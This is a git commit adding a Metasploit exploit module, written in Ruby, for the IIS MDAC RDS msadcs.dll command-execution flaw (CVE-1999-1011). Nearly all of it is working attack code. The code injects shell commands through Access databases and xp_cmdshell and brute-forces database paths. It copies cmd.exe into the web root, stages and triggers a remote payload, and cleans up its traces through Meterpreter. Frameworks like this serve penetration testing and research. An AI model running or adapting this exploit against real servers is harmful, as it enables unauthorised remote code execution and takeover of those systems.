Added exploit module msadc.rb
parent
251ed30e03
commit
f25b828d31
|
@ -0,0 +1,418 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/tftp'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerTFTP
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution',
|
||||
'Description' => %q{
|
||||
This module can be used to execute arbitrary commands on IIS servers
|
||||
that expose the /msadc/msadcs.dll Microsoft Data Access Components
|
||||
(MDAC) Remote Data Service (RDS) DataFactory service using VbBusObj
|
||||
or AdvancedDataFactory to inject shell commands into Microsoft Access
|
||||
databases (MDBs), MSSQL databases and ODBC/JET Data Source Name (DSN).
|
||||
Based on the msadcs.pl v2 exploit by Rain.Forest.Puppy, which was actively
|
||||
used in the wild in the late Ninties. MDAC versions affected include MDAC
|
||||
1.5, 2.0, 2.0 SDK, 2.1 and systems with the MDAC Sample Pages for RDS
|
||||
installed, and NT4 Servers with the NT Option Pack installed or upgraded
|
||||
2000 systems often running IIS3/4/5 however some vulnerable installations
|
||||
can still be found on newer Windows operating systems. Note that newer
|
||||
releases of msadcs.dll can still be abused however by default remote
|
||||
connections to the RDS is denied. Consider using VERBOSE if you're unable
|
||||
to successfully execute a command, as the error messages are detailed
|
||||
and useful for debugging. Also set NAME to obtain the remote hostname,
|
||||
and METHOD to use the alternative VbBusObj technique.
|
||||
},
|
||||
'Author' => 'patrick',
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => 'win',
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '272'],
|
||||
['BID', '529'],
|
||||
['CVE', '1999-1011'],
|
||||
['MSB', 'ms98-004'],
|
||||
['MSB', 'ms99-025'],
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
# patrickw tested meterpreter OK 20120601
|
||||
# nt4server w/sp3, ie4.02, option pack, IIS4.0, mdac 1.5, over msaccess shell, reverse_nonx
|
||||
# w2k w/sp0, IIS5.0, mdac 2.7 RTM, sql2000, handunsf.reg, over xp_cmdshell, reverse_tcp
|
||||
[ 'Automatic', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jul 17 1998'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']),
|
||||
OptBool.new('METHOD', [ true, "If true, use VbBusObj instead of AdvancedDataFactory", false]),
|
||||
OptBool.new('NAME', [ true, "If true, attempt to obtain the MACHINE NAME", false]),
|
||||
OptBool.new('VERBOSE', [ true, "If true, be more verbose", false]),
|
||||
OptString.new('DBHOST', [ true, "The SQL Server host", 'local']),
|
||||
OptString.new('DBNAME', [ true, "The SQL Server database", 'master']),
|
||||
OptString.new('DBUID', [ true, "The SQL Server uid (default is sa)", 'sa']),
|
||||
OptString.new('DBPASSWORD', [ false, "The SQL Server password (default is blank)", '']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_raw({
|
||||
'uri' => datastore['PATH'],
|
||||
'method' => 'GET',
|
||||
}, 20)
|
||||
if (res.code == 200)
|
||||
print_status("Server responded with HTTP #{res.code} OK")
|
||||
if (res.body =~ /Content-Type: application\/x-varg/)
|
||||
print_good("#{datastore['PATH']} matches fingerprint application\/x-varg")
|
||||
Exploit::CheckCode::Detected
|
||||
end
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def create_dsn(drive, dsn)
|
||||
req = "/scripts/tools/newdsn.exe?driver=Microsoft\%2BAccess\%2BDriver\%2B\%28*.mdb\%29\&dsn=#{dsn}\&dbq=#{drive}\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr="
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => req,
|
||||
}, 20)
|
||||
|
||||
if (res.code == 200 and res.body =~ /<H2>Datasource creation <B>FAILED! The most likely cause is invalid attributes<\/B><\/H2>/)
|
||||
if (datastore['VERBOSE'])
|
||||
print_error("DSN CREATE failed for drive #{drive} with #{dsn}.")
|
||||
end
|
||||
return false
|
||||
elsif (res.code == 200 and res.body =~ /<H2>Datasource creation successful<\/H2>/)
|
||||
print_good("DSN CREATE SUCCESSFUL for drive #{drive} with #{dsn}!")
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
def exec_cmd(a, c, b) # a = sql, c = cmd, b = DSN or MDB
|
||||
boundary = rand_text_alphanumeric(8)
|
||||
method = datastore['METHOD'] ? "VbBusObj.VbBusObjCls.GetRecordset" : "AdvancedDataFactory.Query"
|
||||
dsn = Rex::Text.to_unicode(b)
|
||||
if (b =~ /driver=\{SQL Server\}/)
|
||||
select = Rex::Text.to_unicode(a + '"' + c + '"')
|
||||
elsif (c.nil?)
|
||||
select = Rex::Text.to_unicode(a)
|
||||
else
|
||||
select = Rex::Text.to_unicode(a+ "'|shell(\"" + c + "\")|'")
|
||||
end
|
||||
if (datastore['VERBOSE'])
|
||||
print_status("Attempting to request: #{select} on #{dsn}")
|
||||
end
|
||||
|
||||
query = "\x02\x00\x03\x00\x08\x00#{[select.size].pack('S')}\x00\x00#{select}\x08\x00#{[dsn.size].pack('S')}\x00\x00#{dsn}"
|
||||
|
||||
sploit = "--#{boundary}\r\n"
|
||||
sploit << "Content-Type: application/x-varg\r\n"
|
||||
sploit << "Content-Length: #{query.length}\r\n\r\n"
|
||||
sploit << query
|
||||
sploit << "\r\n--#{boundary}--\r\n"
|
||||
|
||||
data = "ADCClientVersion:01.06\r\n"
|
||||
data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=3'
|
||||
data << "\r\n\r\n"
|
||||
data << sploit
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => datastore['PATH'] + '/' + method,
|
||||
'agent' => 'ACTIVEDATA',
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'Connection' => "Keep-Alive",
|
||||
},
|
||||
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
|
||||
}, 20)
|
||||
|
||||
response = Rex::Text.to_ascii(res.body, 'utf-16be')
|
||||
|
||||
if (response =~ /HTTP:\/\/www.microsoft.com\/activex.vip\/adofx/ || res.body =~ /o.u.t.p.u.t./)
|
||||
print_good("Command was successfully executed! Statement: #{select} Driver: #{dsn}") if (datastore['VERBOSE'])
|
||||
return true, a, b
|
||||
elsif (response =~ /RDS Server Error: The server has denied access to the default RDS Handler used to access this page. See the Server Administrator for more information about server security settings./)
|
||||
print_error("Exploit failed: the server is patched")
|
||||
break # we cannot continue - server refuses to accept RDS traffic from remote IPs. bail.
|
||||
elsif (response =~ /The Microsoft Jet database engine cannot find the input table or query \'(\w+)\'/)
|
||||
print_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}") if (datastore['VERBOSE'])
|
||||
elsif (response =~ /isn't a valid path/ || response =~ /is not a valid path/ || response =~ /Could not find file/)
|
||||
print_error("Server is vulnerable but the drive and path is incorrect.") if (datastore['VERBOSE'])
|
||||
elsif (response =~ /Disk or network error./)
|
||||
print_error("Server is vulnerable but the driver letter doesn't physically exist.") if (datastore['VERBOSE'])
|
||||
elsif (response =~ /Syntax error in CREATE TABLE statement/)
|
||||
print_error("Server is vulnerable and the database exists however the CREATE TABLE command failed.") if (datastore['VERBOSE'])
|
||||
elsif (response =~ /Table '(\w+)' already exists/)
|
||||
print_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!") if (datastore['VERBOSE'])
|
||||
elsif (response =~ /Syntax error \(missing operator\) in query expression/)
|
||||
print_error("Server is vulnerable and the database and table exists however the SELECT statement has a syntax error.") if (datastore['VERBOSE'])
|
||||
elsif (response =~ /Too few parameters. Expected 1/)
|
||||
print_good("Command was probably executed!")
|
||||
elsif (response =~ /Data source name not found and no default driver specified/)
|
||||
print_error("Server is vulnerable however the requested DSN '#{b}' does not exist.") if (datastore['VERBOSE'])
|
||||
elsif (response =~ /Couldn't find file/)
|
||||
print_error("Server is vulnerable however the requested .mdb file does not exist.") if (datastore['VERBOSE'])
|
||||
elsif (response =~ /Specified SQL server not found/)
|
||||
print_error("Server is vulnerable however the specified Microsoft SQL Server does not exist") if (datastore['VERBOSE'])
|
||||
elsif (response =~ /General error Unable to open registry key/)
|
||||
print_error("Server error (possible misconfiguration): Unable to open registry key ") if (datastore['VERBOSE'])
|
||||
elsif (response =~ /It is in a read-only database/)
|
||||
print_error("Server accepted request however the requested .mdb is READ-ONLY") if (datastore['VERBOSE'])
|
||||
elsif (response =~ /Invalid connection/)
|
||||
print_error("Server accepted request however the MSSQL database says Invalid connection") if (datastore['VERBOSE'])
|
||||
elsif (response =~ /\[SQL Server\]Login failed for user/)
|
||||
print_error("Server accepted request however the MSSQL database uid / password credentials are incorrect.") if (datastore['VERBOSE'])
|
||||
elsif (response =~ /\"(...)\"/) # we use rand_text_alphanumeric for 'table'. response is '"<table>" <table>' but means nothing to me. regexp is a little lazy however the unicode response doesn't give us much to work with; we only know it is 3 bytes long and quoted which should be unique.
|
||||
print_error("Server accepted request however it failed for reasons unknown.") if (datastore['VERBOSE'])
|
||||
elsif (res.body =~ /\x09\x00\x01/) # magic bytes? rfp used it too :P maybe a retval?
|
||||
print_error("Unknown reply - but the command didn't execute") if (datastore['VERBOSE'])
|
||||
else
|
||||
print_status("Unknown reply - server is likely patched:\n#{response}")
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
def find_exec
|
||||
# config data - greets to rain forest puppy :)
|
||||
boundary = rand_text_alphanumeric(8)
|
||||
|
||||
if (datastore['NAME']) # Obtain the hostname if true
|
||||
|
||||
data = "ADCClientVersion:01.06\r\n"
|
||||
data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=0'
|
||||
data << "\r\n\r\n--#{boundary}--\r\n"
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => datastore['PATH'] + '/VbBusObj.VbBusObjCls.GetMachineName',
|
||||
'agent' => 'ACTIVEDATA',
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'Connection' => "Keep-Alive",
|
||||
},
|
||||
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
|
||||
}, 20)
|
||||
|
||||
if (res.code == 200 and res.body =~ /\x01(.+)/) # Should return the hostname
|
||||
print_good("Hostname: #{$1}")
|
||||
end
|
||||
end
|
||||
|
||||
drives = ["c","d","e","f","g","h"]
|
||||
sysdirs = ['winnt', 'windows', 'win', 'winnt351', 'winnt35' ]
|
||||
dsns = ["AdvWorks", "pubs", "wicca", "CertSvr", "CFApplications", "cfexamples","CFForums",
|
||||
"CFRealm", "cfsnippets", "UAM", "banner", "banners", "ads", "ADCDemo", "ADCTest"]
|
||||
|
||||
sysmdbs = [ "\\catroot\\icatalog.mdb", #these are %systemroot%
|
||||
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
|
||||
"\\system32\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
|
||||
"\\system32\\certmdb.mdb",
|
||||
"\\system32\\ias\\ias.mdb",
|
||||
"\\system32\\ias\\dnary.mdb",
|
||||
"\\system32\\certlog\\certsrv.mdb" ]
|
||||
|
||||
mdbs = [ "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", #these are non-windows
|
||||
"\\cfusion\\cfapps\\forums\\forums_.mdb",
|
||||
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
|
||||
"\\cfusion\\cfapps\\security\\realm_.mdb",
|
||||
"\\cfusion\\cfapps\\security\\data\\realm.mdb",
|
||||
"\\cfusion\\database\\cfexamples.mdb",
|
||||
"\\cfusion\\database\\cfsnippets.mdb",
|
||||
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
|
||||
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
|
||||
"\\cfusion\\brighttiger\\database\\cleam.mdb",
|
||||
"\\cfusion\\database\\smpolicy.mdb",
|
||||
"\\cfusion\\database\\cypress.mdb",
|
||||
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
|
||||
"\\website\\cgi-win\\dbsample.mdb",
|
||||
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
|
||||
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
|
||||
]
|
||||
|
||||
print_status("Step 1: Trying raw driver to btcustmr.mdb")
|
||||
|
||||
drives.each do |drive|
|
||||
sysdirs.each do |sysdir|
|
||||
ret = exec_cmd("Select * from Customers where City=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}\\help\\iis\\htm\\tutorial\\btcustmr.mdb;")
|
||||
return ret if (ret)
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Step 2: Trying to make our own DSN...")
|
||||
x = false # Stop if we make a DSN
|
||||
drives.each do |drive|
|
||||
dsns.each do |dsn|
|
||||
unless x
|
||||
x = create_dsn(drive, dsn)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
table = rand_text_alphanumeric(3)
|
||||
print_status("Step 3: Trying to create a new table in our own DSN...")
|
||||
exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general make table query
|
||||
|
||||
print_status("Step 4: Trying to execute our command via our own DSN and table...")
|
||||
ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general exploit table query
|
||||
return ret if (ret)
|
||||
|
||||
print_status("Step 5: Trying to execute our command via known DSNs...")
|
||||
dsns.each do |dsn|
|
||||
ret = exec_cmd("select * from MSysModules where name=", "cmd /c echo x", dsn) # this is table-independent query (new)
|
||||
return ret if (ret)
|
||||
end
|
||||
|
||||
print_status("Step 6: Trying known system .mdbs...")
|
||||
drives.each do |drive|
|
||||
sysdirs.each do |sysdir|
|
||||
sysmdbs.each do |sysmdb|
|
||||
exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};")
|
||||
ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};")
|
||||
return ret if (ret)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Step 7: Trying known program file .mdbs...")
|
||||
drives.each do |drive|
|
||||
mdbs.each do |mdb|
|
||||
exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};")
|
||||
ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};")
|
||||
return ret if (ret)
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Step 8: Trying SQL xp_cmdshell method...")
|
||||
ret = exec_cmd("EXEC master..xp_cmdshell", "cmd /c echo x", "driver={SQL Server};server=(#{datastore['DBHOST']});database=#{datastore['DBNAME']};uid=#{datastore['DBUID']};pwd=#{datastore['DBPASSWORD']}") # based on hdm's sqlrds.pl :)
|
||||
return ret if (ret)
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Searching for valid command execution point...")
|
||||
x = false
|
||||
until (x)
|
||||
x,y,z =find_exec
|
||||
end
|
||||
|
||||
if (x == true)
|
||||
print_good("Successful command execution found!")
|
||||
|
||||
# now copy the file
|
||||
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
|
||||
print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...")
|
||||
# NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory
|
||||
# Unfortunately, using %SystemRoot% doesn't seem to work :(
|
||||
res = exec_cmd(y, "cmd /c copy cmd.exe \\inetpub\\scripts\\#{exe_fname}", z)
|
||||
|
||||
# Use the CMD stager to get a payload running
|
||||
execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })
|
||||
|
||||
# Save these file names for later deletion
|
||||
@exe_cmd_copy = exe_fname
|
||||
@exe_payload = payload_exe
|
||||
|
||||
# Just for good measure, we'll make a quick, direct request for the payload
|
||||
# Using the "start" method doesn't seem to make iis very happy :(
|
||||
print_status("Triggering the payload via a direct request...")
|
||||
res = send_request_raw({ 'uri' => '/scripts/' + payload_exe, 'method' => 'GET' }, 1)
|
||||
end
|
||||
|
||||
handler
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# The following handles deleting the copied cmd.exe and payload exe!
|
||||
#
|
||||
def on_new_session(client)
|
||||
|
||||
if client.type != "meterpreter"
|
||||
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
|
||||
print_error("The copied exe and the payload exe must be removed manually.")
|
||||
return
|
||||
end
|
||||
|
||||
return if not @exe_cmd_copy
|
||||
|
||||
# stdapi must be loaded before we can use fs.file
|
||||
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
||||
|
||||
# Delete the copied CMD.exe
|
||||
print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...")
|
||||
client.fs.file.rm(@exe_cmd_copy)
|
||||
|
||||
# Migrate so that we can delete the payload exe
|
||||
client.console.run_single("run migrate -f")
|
||||
|
||||
# Delete the payload exe
|
||||
return if not @exe_payload
|
||||
|
||||
delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload # C:\ ?
|
||||
|
||||
print_status("Changing permissions on #{delete_me_too} ...")
|
||||
cmd = "C:\\#{sysdir[0]}\\system32\\attrib.exe -r -h -s " + delete_me_too # winnt ?
|
||||
client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
|
||||
print_status("Deleting #{delete_me_too} ...")
|
||||
begin
|
||||
client.fs.file.rm(delete_me_too)
|
||||
rescue ::Exception => e
|
||||
print_error("Exception: #{e.inspect}")
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
framework.events.remove_exploit_subscriber(self)
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
# Don't try the start command...
|
||||
# Using the "start" method doesn't seem to make iis very happy :(
|
||||
return [nil,nil] if cmd =~ /^start [a-zA-Z]+\.exe$/
|
||||
|
||||
print_status("Executing command: #{cmd} (options: #{opts.inspect})")
|
||||
|
||||
uri = '/scripts/'
|
||||
exe = opts[:cgifname]
|
||||
if (exe)
|
||||
uri << exe
|
||||
end
|
||||
uri << '?/x+/c+'
|
||||
uri << Rex::Text.uri_encode(cmd)
|
||||
|
||||
vprint_status("Attempting to execute: #{uri}")
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
}, 20)
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue